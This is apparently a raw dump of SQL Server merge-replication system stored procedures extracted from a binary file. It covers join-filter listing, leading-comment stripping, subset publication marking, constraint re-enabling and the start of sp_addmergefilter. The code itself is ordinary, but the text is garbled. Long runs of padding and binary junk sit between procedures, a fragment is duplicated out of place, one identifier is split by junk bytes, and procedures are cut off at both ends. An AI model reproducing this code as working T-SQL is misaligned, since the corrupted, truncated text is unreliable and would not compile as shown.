           if @filter_type_bm = 3, return the filters that has filter_type = 1 or 2 or 3          (filters that are either join filter or logical record filter, or both)

    */

    IF @filtername <> '%'
        select distinct join_filterid, filtername, 'join article name' = j_a.name, join_filterclause, f.join_unique_key,
                'base table owner' = b_u.name, 'base table name' = b_o.name, 'join table owner' = j_u.name, 'join table name' = j_o.name,
                'article name' = b_a.name, f.filter_type
            from dbo.sysmergesubsetfilters f, sys.objects j_o, sys.objects b_o, sys.schemas j_u,
                sys.schemas b_u, dbo.sysmergeextendedarticlesview j_a, dbo.sysmergeextendedarticlesview b_a
            where    f.pubid = @pubid AND b_a.pubid = @pubid
                AND f.filtername = @filtername and (f.filter_type & @filter_type_bm) <> 0
                AND f.artid = @artid 
                AND f.artid = b_a.artid AND b_o.object_id = b_a.objid
                AND b_u.schema_id = b_o.schema_id
                AND f.join_nickname = j_a.nickname AND j_o.object_id = j_a.objid and j_a.pubid = @pubid
                AND j_u.schema_id = j_o.schema_id
               ORDER BY j_o.name, b_o.name
    ELSE
    begin
        if @artid is not null
            select distinct join_filterid, filtername, 'join article name' = j_a.name, join_filterclause, f.join_unique_key,
                    'base table owner' = b_u.name, 'base table name' = b_o.name, 'join table owner' = j_u.name, 'join table name' = j_o.name,
                    'article name' = b_a.name, f.filter_type
                from dbo.sysmergesubsetfilters f, sys.objects j_o, sys.objects b_o, sys.schemas j_u,
                    sys.schemas b_u, dbo.sysmergeextendedarticlesview j_a, dbo.sysmergeextendedarticlesview b_a
                where    f.pubid = @pubid AND b_a.pubid = @pubid
                    AND f.artid = @artid  and (f.filter_type & @filter_type_bm) <> 0
                    AND f.artid = b_a.artid AND b_o.object_id = b_a.objid
                    AND b_u.schema_id = b_o.schema_id
                    AND f.join_nickname = j_a.nickname AND j_o.object_id = j_a.objid and j_a.pubid = @pubid
                    AND j_u.schema_id = j_o.schema_id
                   ORDER BY j_o.name, b_o.name
        else
            select distinct join_filterid, filtername, 'join article name' = j_a.name, join_filterclause, f.join_unique_key,
                    'base table owner' = b_u.name, 'base table name' = b_o.name, 'join table owner' = j_u.name, 'join table name' = j_o.name,
                    'article name' = b_a.name, f.filter_type
                from dbo.sysmergesubsetfilters f, sys.objects j_o, sys.objects b_o, sys.schemas j_u,
                    sys.schemas b_u, dbo.sysmergeextendedarticlesview j_a, dbo.sysmergeextendedarticlesview b_a
                where    f.pubid = @pubid AND b_a.pubid = @pubid
                    AND f.artid = b_a.artid AND b_o.object_id = b_a.objid
                    AND b_u.schema_id = b_o.schema_id and (f.filter_type & @filter_type_bm) <> 0
                    AND f.join_nickname = j_a.nickname AND j_o.object_id = j_a.objid and j_a.pubid = @pubid
                    AND j_u.schema_id = j_o.schema_id
                   ORDER BY j_o.name, b_o.name
    end
    return(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
--
-- Parameters: 	
--	@inputcmd nvarchar(max)
--
-- Returns: nvarchar(max) 
--
-- Notes: this is an internal helper function 
--	e.g. 
--	fn_replremoveleadingcomments(N'/*dshfjsd*/pubs.dbo.authors add newcol1 int')
--	should return: N'pubs.dbo.authors add newcol1 int'
--		
-- Security: not exposed to public
-- 
create function sys.fn_replremoveleadingcomments (
	@cmd nvarchar(max)
)
returns nvarchar(max)
as
begin
	declare @BEGIN_COMMENT	sysname,
			@END_COMMENT	sysname,
			@SINGLE_COMMENT	sysname,
			@SPACE			nchar(1),
			@TAB			nchar(1),
			@CR				nchar(1),
			@LF				nchar(1)
	
	select @BEGIN_COMMENT   = N'/*',
			@END_COMMENT	= N'*/',
			@SINGLE_COMMENT	= N'--',
			@SPACE			= N' ',
			@TAB			= char(9),
			@CR				= char(13),
			@LF				= char(10)
	
	declare	@cmd_len		bigint,
			@current_char	nchar(1),
			@next_char		nchar(1),
			@done			bigint,
			@cNestedComments	bigint,
			@iNextBeginComment	bigint,
			@iNextEndComment	bigint,
			@remove_len		bigint,
			@cr_offset		bigint,
			@lf_offset		bigint
			
	select @cmd_len			= len(@cmd),
			@current_char	= left(@cmd, 1),
			@next_char		= substring(@cmd, 2, 1),
			@remove_len		= 0,
			@cr_offset		= 0,
			@lf_offset		= 0,
			@done			= 0

	-- we will continue to loop until there are no more leading spaces or comments
	while (@done = 0)
	begin
		--
		-- This section is for the removal of:
		--		Space, Tab, Carriage Return and Line Feed
		--
		if @current_char = @SPACE
			or @current_char = @TAB
			or @current_char = @CR
			or @current_char = @LF
		begin
			-- remove the single character
			select @cmd_len = @cmd_len - 1,
					@cmd = right(@cmd, @cmd_len)

			-- move to the next character
			select @current_char = @next_char,
					@next_char = substring(@cmd, 2, 1)
		end
		--
		-- This section is for the removal of:
		--		Multi-Line Comments
		--
		else if (@current_char + @next_char) = @BEGIN_COMMENT
		begin
			
			-- move past the BEGIN_COMMENT
			select @cmd_len = @cmd_len - 2,
				@cmd = right(@cmd, @cmd_len)

			select @cNestedComments = 1
			
			while(@cNestedComments > 0)
			begin
					
				-- find the next BEGIN_COMMENT and the next END_COMMENT
				select @iNextBeginComment = charindex(@BEGIN_COMMENT, @cmd)
				select @iNextEndComment = charindex(@END_COMMENT, @cmd)

				-- exit if there the END_COMMENT is not found
				if @iNextEndComment = 0
				begin
					-- this means we hit a scenario where end  
					-- comment was not found so we should exit
					select @done = 1
					break
				end

				-- if there is a BEGIN_COMMENT and it's found before the next END_COMMENT
				else if (@iNextBeginComment > 0 and @iNextBeginComment < @iNextEndComment)
				begin
					-- bump the count
					select @cNestedComments = @cNestedComments + 1
					-- remove up to the start of the nested comment
					select @remove_len = @iNextBeginComment + 1
				end
				else
				begin
					-- dec the count
					select @cNestedComments = @cNestedComments - 1;
					-- remove passed the end of this comment
					select @remove_len = @iNextEndComment + 1
				end

				select @cmd_len = @cmd_len - @remove_len,
					@cmd = right(@cmd, @cmd_len)
			end

			-- move to the next character
			select @current_char = left(@cmd, 1),
					@next_char = substring(@cmd, 2, 1)
		end
		--
		-- This section is for the removal of:
		--		Single-Line Comments
		--
		else if (@current_char + @next_char) = @SINGLE_COMMENT
		begin
			-- remove the commented section
			select @cr_offset	= charindex(@CR, @cmd),
					@lf_offset	= charindex(@LF, @cmd)

			-- CRLF (newline)
			if @lf_offset > 0
				and @lf_offset = @cr_offset + 1
			begin
				select @remove_len = @lf_offset
			end
			-- CR (carriage return)
			else if @cr_offset > 0
				and @cr_offset < @lf_offset
			begin
				select @remove_len = @cr_offset
			end
			-- LF (linefeed)
			else if @lf_offset > 0
			begin
				select @remove_len = @lf_offset
			end
			-- end of command
			else 
			begin
				select @remove_len = len(@cmd)
			end

			select @cmd_len = @cmd_len - @remove_len,
					@cmd = right(@cmd, @cmd_len)

			-- move to the next character
			select @current_char = left(@cmd, 1),
					@next_char = substring(@cmd, 2, 1)
		end
		else
		begin
			break
		end
	end

	return @cmd
end
0IZ@ #8
create procedure sys.sp_MSsubsetpublication (@publication sysname)
as
	declare @pubid			uniqueidentifier
	declare @boolean_filter bit
	declare @join_filter	bit
	declare @full			int
	declare @subset			int

	select @full		= 0		/* Const: publication type 'full' */
	select @subset		= 1		/* Const: publication type 'subset' */
	
	if object_id('sysmergepublications') is NULL
	BEGIN
		RAISERROR (20054, 16, -1)
		RETURN (1)
	END 

	select @pubid = pubid from dbo.sysmergepublications where
		name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
	if @pubid is null
	BEGIN
		RAISERROR (20026, 16, -1, @publication)
		RETURN (1)
	END

	/* 
	** Set the publication_type to subset if the publication has either a boolean or a join filter
	*/
	if exists (select * from dbo.sysmergearticles where pubid = @pubid and len(subset_filterclause) > 0)
		set @boolean_filter = 1
	if exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1)
		set @join_filter = 1

	/*
	** For subset publications set the article status to be unsynced so that the triggers can be regenerated.
	*/
	if (@boolean_filter = 1 OR @join_filter = 1)		
	begin
		update dbo.sysmergepublications set publication_type = @subset where pubid = @pubid
		if @@ERROR <> 0 return (1)

        -- For both new and existing articles, set status back to their respective
        -- "unsynched"-status.
        update dbo.sysmergearticles set status = status-1 
            where pubid = @pubid and status in (2,6)
        if @@ERROR <> 0 return (1)
	end			
	else
	begin
		update dbo.sysmergepublications set publication_type = @full where pubid = @pubid				
	    if @@ERROR <> 0 return (1)
	end
		
	return(0)			
t ' + quotename(@cnstname)

        execute(@enable_cmd)
        fetch ms_crs_cnst into @cnstname, @cnstid
    end     --of major loop
    deallocate ms_crs_cnst
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<;>N{0(f 8create procedure sys.sp_MSreenable_check @objname sysname, @objowner sysname = NULL
as
    set nocount on
    
    declare @cnstname sysname
    declare @cnstid int
    declare @objid int
    declare @enable_cmd nvarchar(4000)
    declare @dest nvarchar(514)

    declare @retcode int
    IF @objname IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@objname', 'sp_MSreenable_check')
        RETURN (1)
    END

    if(@objowner is not null)
        select @dest = quotename(@objowner) + N'.' + quotename(@objname)
    else
        select @dest = quotename(@objname)

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
            return (1)

    select @objid = object_id(@objname)
    
    declare ms_crs_cnst cursor local static for
    select name, object_id 
    	from sys.objects 
    	where parent_object_id = @objid 
    		and OBJECTPROPERTY(object_id, 'CnstIsDisabled') = 1 
    		and OBJECTPROPERTY(object_id, 'CnstIsNotRepl') = 0 
    		and (OBJECTPROPERTY(object_id, 'IsCheckCnst') = 1 
    			or OBJECTPROPERTY(object_id, 'IsForeignKey') = 1)
	union
    select name, object_id
    	from sys.triggers
    	where parent_id = @objid 
    		and OBJECTPROPERTY(object_id, 'IsTrigger') = 1 
        	and OBJECTPROPERTY(object_id, 'ExecIsTriggerNotForRepl') = 0 
        	and OBJECTPROPERTY(object_id, 'ExecIsTriggerDisabled') = 1
    for read only

    open ms_crs_cnst
    fetch ms_crs_cnst into @cnstname, @cnstid
    while @@fetch_status >= 0
    begin
        if(ObjectProperty(@cnstid, 'IsTrigger') = 1)
            select @enable_cmd = N'alter table ' + @dest + N' enable trigger ' + quotename(@cnstname)
        else
            select @enable_cmd = N'alter table ' + @dest + N' check constraint ' + quotename(@cnstname)

        execute(@enable_cmd)
        fetch ms_crs_cnst into @cnstname, @cnstid
    end     --of major loop
    deallocate ms_crs_cnst
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`E
<j?Fv40R@ 
8create procedure sys.sp_MScheck_joinfilter_using_dri
	@publication	sysname,
	@article		sysname,
	@base_objid		int,
	@join_objid		int,
	@join_unique	int,
	@join_filterclause nvarchar(1000)
	AS
	declare @retcode int
	exec @retcode = sys.sp_MSmakeorcheck_joinfilter_using_dri	@publication,
																@article,	
																@base_objid,
																@join_objid,
																@join_unique,
																1,
																@join_filterclause
	return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(@EGyvcfcreate procedure sys.sp_addmergefilter(
    @publication            sysname,            /* publication name */
    @article                sysname,            /* article name */
    @filtername                sysname,            /* join filter name */
    @join_articlename        sysname,            /* Name of the table being joined to the base table */
    @join_filterclause        nvarchar(1000),        /* filter clause qualifying the join */                
    @join_unique_key        int = 0,
    @force_invalidate_snapshot bit = 0,            /* Force invalidate existing snapshot */
    @force_reinit_subscription bit = 0,            /* Force reinit subscription */
    @filter_type            tinyint = 1            /* 1=join filter only, 2=logical relation only, 3=both */
    )AS

    set nocount on

    declare @snapshot_ready     int
    declare @db_name            sysname
    declare @pubid              uniqueidentifier                
    declare @artid              uniqueidentifier
    declare @art_nickname       int
    declare @join_nickname      int
    declare @db                 sysname
    declare @qual_object        nvarchar(517)
    declare @unqual_object      nvarchar(258)
    declare @qual_join_object   nvarchar(517)
    declare @unqual_join_object nvarchar(258)
    declare @qual_object_view   nvarchar(517)
    declare @qual_join_object_view nvarchar(517)
    
    declare @object             sysname
    declare @vertical           int
    declare @join_vertical      int
    declare @join_object        nvarchar(140)
    declare @object_view        nvarchar(140)
    declare @join_object_view   nvarchar(140)
    declare @owner              nvarchar(258)
    declare @join_object_owner  nvarchar(258)
    declare @retcode            int
    declare @join_objid         int
    declare @objid              int
    declare @art_status         int
    declare @joinart_status     int
    declare @column_list        nvarchar(max)
    declare @inactive           int
    declare @new_active         int
    declare @new_inactive       int
    declare @reinit bit
    declare @allow_anonymous bit
    declare @compatlevel int
    declare @automatic_reinitialization_policy bit
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0

    -- article status below
    select @inactive = 0 
    select @new_inactive = 5 
    select @new_active = 6   
    
    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    /*
    ** Security Check.
    ** Only the System Administrator (SA) or the Database Owner (dbo) can
    ** add an article to a publication.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Parameter Check: @filtername.
    ** The join_filter_name cannot be NULL 
    */
    if @filtername is NULL
    begin
        raiserror (14043, 11, -1, @filtername, 'sp_addmergefilter')
        return (1)
    end

    if @join_filterclause is NULL or @join_filterclause = ''
    begin
        raiserror (14043, 11, -1, '@join_filterclause', 'sp_addmergefilter')
        return (1)
    end
    
    if @filter_type not in (1,2,3) or @filter_type is null
    begin
        raiserror (21575, 16, -1)
        goto FAILURE
    end
    
    /*
    ** Parameter Check: @publication.
    ** The @publication id cannot be NULL and must conform to the rules
    ** for identifiers.
    */
    if @publication is NULL
    begin
        raiserror (14003, 16, -1)
        return (1)
    end

    
    /*
    ** Get the pubid and make sure the publication exists
    */
    select @pubid = pubid, 
           @snapshot_ready = snapshot_ready, 
           @allow_anonymous = allow_anonymous, 
           @compatlevel = backward_comp_level,
           @automatic_reinitialization_policy = automatic_reinitialization_policy
        from dbo.sysmergepublications 
        where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end

    /*
    ** Check to make sure that the filtername does not already exist in the 
    ** given publication
    */
    if exists (select * from sysmergesubsetfilters where filtername = @filtername and pubid = @pubid)
    begin
        raiserror (20626, 16, -1, @filtername, @publication)
        return (1)
    end
    
    if @article = @join_articlename
    begin
        raiserror(21599, 16, -1)
        return (1)
    end

    select @db_name = db_name from dbo.sysmergesubscriptions
        where (pubid=@pubid) and (subid=@pubid) 
    IF @db_name <> db_name()
    BEGIN
        RAISERROR (20047, 16, -1)
        RETURN (1)
    END           
    /*
    ** Parameter Check: @article.
    ** Check to see that the @article is valid and does exist 
    */
    if @article is NULL
        begin
            raiserror (20045, 16, -1)
            return (1)
        end
        
    select @artid = artid, @objid=objid, @vertical=vertical_partition, @art_nickname = nickname, @art_status = status from dbo.sysmergearticles where name = @article and pubid = @pubid    
    if @artid is NULL
        begin
            raiserror (20027, 16, -1, @article)
            return (1)
        end
        
    /*
    **    Get the id of the @join_articlename
    */
    select @join_objid = objid, @join_vertical= vertical_partition, @joinart_status = status from dbo.sysmergearticles where name=@join_articlename and pubid = @pubid
    
    IF @join_objid is NULL
        BEGIN
            raiserror (14027, 11, -1, @join_articlename)
            return (1)
        END

    -- don't reinit out if this is a new article and we are not adding a logical record relationship
    if (@filter_type & 2) = 2 or (@art_status <> @inactive and @art_status <> @new_inactive)
        select @reinit = 1
    else
        select @reinit = 0

    if @snapshot_ready>0
    begin
        /*
        ** make sure we know we really want to do this.
        */
        if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
        begin
            raiserror(21366, 16, -1, @filtername)
            return 1
        end
        
        if @force_reinit_subscription = 0 and @reinit = 1
        begin
            -- check to see if there are any subscriptions to this publication before erroring out
            if (@allow_anonymous = 1 and @compatlevel < 90) or 
                exists (select * from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid and status=1)
            begin
                raiserror(21367, 16, -1, @filtername)
                return 1
            end
        end
    end    
        
    /* check the validity of join_filterclause */
    select @object = object_name(@objid)
    select @owner = quotename(SCHEMA_NAME(schema_id)) from sys.objects where object_id = @objid

    select @join_object = object_name(@join_objid)
    select @join_object_owner = quotename(SCHEMA_NAME(schema_id)) from sys.objects where object_id = @join_objid
    
    select @object_view = @object
    select @join_object_view = @join_object

            
    /* is current article vertically partitioned */
    if @vertical=1
    begin
        select @object_view = 'MSmerge_OBJECT_VIEW_' + @object

        select @qual_object_view=@owner + '.' + QUOTENAME(@object_view)
        select @qual_object= @owner + '.' + QUOTENAME(@object)
        select @unqual_object = QUOTENAME(@object)

        exec @retcode = sys.sp_MSgetcolumnlist @pubid, @column_list OUTPUT, @objid
        exec ('create view ' + @qual_object_view + ' as select ' + @column_list + ' from ' + @qual_object + ' ' + @unqual_object)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(AEU uvcf
        if @@ERROR<>0
        return 1
    end

    /* is join article vertically partitioned */
    if @join_vertical=1
    begin
        select @join_object_view = 'MSmerge_JOIN_OBJECT_VIEW_' + @join_object
        select @qual_join_object_view = @join_object_owner + '.' + QUOTENAME(@join_object_view)
        select @qual_join_object= @join_object_owner + '.' + QUOTENAME(@join_object)
        select @unqual_join_object = QUOTENAME(@join_object)

        exec @retcode = sys.sp_MSgetcolumnlist @pubid, @column_list OUTPUT, @join_objid
        exec ('create view ' + @qual_join_object_view + ' as select ' + @column_list + ' from ' + @qual_join_object+ ' ' + @unqual_join_object)
        if @@ERROR<>0
        begin
          if 1=@vertical
              exec('drop view ' + @qual_object_view)
          return 1
        end
    end

    select @qual_object_view=@owner + '.' + QUOTENAME(@object_view)
    select @qual_join_object_view = @join_object_owner + '.' + QUOTENAME(@join_object_view)
    select @qual_join_object= QUOTENAME(@join_object)
    select @qual_object= QUOTENAME(@object)

    exec ('declare @test int select @test=1 from ' + @qual_object_view + ' ' + @qual_object + ', ' + @qual_join_object_view + ' ' + @qual_join_object + ' where ' + @join_filterclause)
    if @@ERROR<>0
    begin
        if @vertical=1
            exec ('drop view ' + @qual_object_view)
        if @join_vertical=1
            exec ('drop view ' + @qual_join_object_view)
        raiserror(21256, 16, -1, @join_filterclause, @article)
        return (1)
    end
    
    if @vertical=1
        exec ('drop view ' + @qual_object_view)
    if @join_vertical=1
        exec ('drop view ' + @qual_join_object_view)
    
    -- check if the join filter clause contains any column of type that is not supported in
    --  a join filter.

    if exists    (
                    select * from sys.columns 
                    where object_id = @objid and 
                    (
                    --(sys.fn_IsTypeBlob(sc.system_type_id,sc.max_length) = 1) -- Blob type text,ntext,xml
                      (system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml')))
                      or max_length = -1
                      or system_type_id = 240    -- CLR-UDTs
                    )
                    and sys.fn_MSisfilteredcolumn(@join_filterclause, name, @objid) = 1 
                )
    begin
        raiserror(22518, 16, -1, @qual_object)
        return(1)
    end

    select @join_nickname = nickname from dbo.sysmergearticles where pubid = @pubid AND objid = @join_objid 
    if @join_nickname is NULL
    begin
        raiserror (20001, 11, -1, @article, @publication)
        return (1)
    end
        
    if (@filter_type & 2) = 2
    begin
        declare @pubname_lessthan90compat sysname
        declare @owner_qualified_art_name nvarchar(400)
        declare @owner_qualified_join_name nvarchar(400)
        
        select @pubname_lessthan90compat = NULL
        
        -- Only supported with publications that have 90 compatibility level.
        select top 1 @pubname_lessthan90compat = name from dbo.sysmergepublications 
        where backward_comp_level < 90
        and pubid in 
            (select pubid from dbo.sysmergearticles where nickname = @art_nickname)
        
        if @pubname_lessthan90compat is not null
        begin
            raiserror(21574, 16, -1, @article, @pubname_lessthan90compat)
            return 1
        end
        
        select @pubname_lessthan90compat = NULL
        
        -- Only supported with publications that have 90 compatibility level.
        select top 1 @pubname_lessthan90compat = name from dbo.sysmergepublications 
        where backward_comp_level < 90
        and pubid in 
            (select pubid from dbo.sysmergearticles where nickname = @join_nickname)
        
        if @pubname_lessthan90compat is not null
        begin
            raiserror(21574, 16, -1, @join_articlename, @pubname_lessthan90compat)
            return 1
        end

        if @join_unique_key = 0
        begin
            -- logical record relation only supported with join_unique_key=1
            raiserror(21539, 16, -1)
            return 1
        end 
        
        -- Cannot use Logical records and BusinessLogicResolvers at the same time.
        if exists (select * from dbo.sysmergearticles where ((nickname = @art_nickname) or 
                                                            (nickname = @join_nickname)) and 
                                                            (resolver_clsid = '00000000-0000-0000-0000-000000000000'))
        begin
            raiserror(20708, 16, -1)
            return 1
        end

        if exists (select * from dbo.sysmergepublications where pubid = @pubid and allow_web_synchronization = 1)
        begin
            raiserror(22545, 16, -1, @publication)
            return 1
        end
                        
        if exists (select * from dbo.sysmergepublications where pubid = @pubid and sync_mode = 1)
        begin
            raiserror(22541, 16, -1, @publication)
            return 1
        end
        
        if exists (select * from dbo.sysmergesubsetfilters 
                                                where art_nickname = @art_nickname
                                                and join_nickname <> @join_nickname
                                                and (filter_type & 2) = 2)
        begin
            -- there cannot be two parents of a child in a logical record relationship
            raiserror (21538, 16, -1, @object, @join_object)
            return 1
        end
        
        if @filter_type & 1 = 1 and exists (select * from dbo.sysmergepublications 
                                            where pubid = @pubid and use_partition_groups <= 0)
        begin
            raiserror(21571, 16, -1, @publication)
            return 1
        end


        -- We do not allow logical records to be used if the articles involved in a join filter
        -- have cascading constraints defined on them
        if exists (select * from sys.foreign_keys fks
        		where fks.parent_object_id in (@join_objid, @objid) and
			        (ObjectProperty(fks.object_id, 'CnstIsDeleteCascade') = 1 
		           or ObjectProperty(fks.object_id, 'CnstIsUpdateCascade') = 1
		           or fks.delete_referential_action = 2 -- on delete set null
		           or fks.delete_referential_action = 3 -- on delete set default
		           or fks.update_referential_action = 2  -- on update set null
		           or fks.update_referential_action = 3 -- on update set default
		           )
         )
        begin
            select @owner_qualified_art_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
            from sys.objects
            where object_id = @objid
            
            select @owner_qualified_join_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
            from sys.objects
            where object_id = @join_objid
            
            raiserror(25019, 16, -1, @owner_qualified_art_name, @owner_qualified_join_name)
            return 1
        end        

        
        -- Enforce DRI relation
        exec @retcode = sys.sp_MScheck_joinfilter_using_dri @publication,
                                                            @article,
                                                            @objid,
                                                            @join_objid,
                                                            1,
                                                            @join_filterclause
        if @@error <> 0 or @retcode <> 0
            return 1
            
        -- based on usability feeback, we should set the allow_subscriber_initiated_sna!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<VBE^mHcfpshot
        -- option to 1 rather than raise an error.
        update dbo.sysmergepublications set allow_subscriber_initiated_snapshot = 1
            where pubid = @pubid
    end
    
    IF NOT EXISTS (select * from dbo.sysmergearticles where pubid=@pubid AND nickname = @join_nickname)
    BEGIN
        RAISERROR (20046, 16, -1) /* Only the original publisher can do so */
        RETURN (1)
    END
    
    /*
    ** Make sure that the table name specified is a table and not a view.
    */
    
    if NOT exists (select * from sys.objects
        where object_id = @join_objid AND type = 'U')
    begin
        raiserror (14028, 16, -1)
        return (1)
    end

    -- We do not allow cycles between join filters.  When trying to make article a1 a child
    -- of parent article a2, we must make sure that article a1 is not a parent of a2 in 
    -- our existing filters, either directly or indirectly.  This test inserts the nodes
    -- currently reachable by the proposed child into a temporary table, 
    -- and makes sure the proposed parent is not contained in that list.
    create table #reachable (article int)
    insert into #reachable values (@art_nickname)
    while (@@ROWCOUNT > 0)
    begin
        insert into #reachable (article)
            select distinct art_nickname from sysmergesubsetfilters where join_nickname in (select article from #reachable) 
                                                                   and art_nickname not in (select article from #reachable)
                                                                   and pubid = @pubid
    end
    if exists (select null from #reachable where article = @join_nickname)
    begin
        drop table #reachable
        raiserror(21869, 16, -1, @join_articlename, @article)
        return 1
    end

    drop table #reachable

    begin tran
    save tran addmergefilter
        
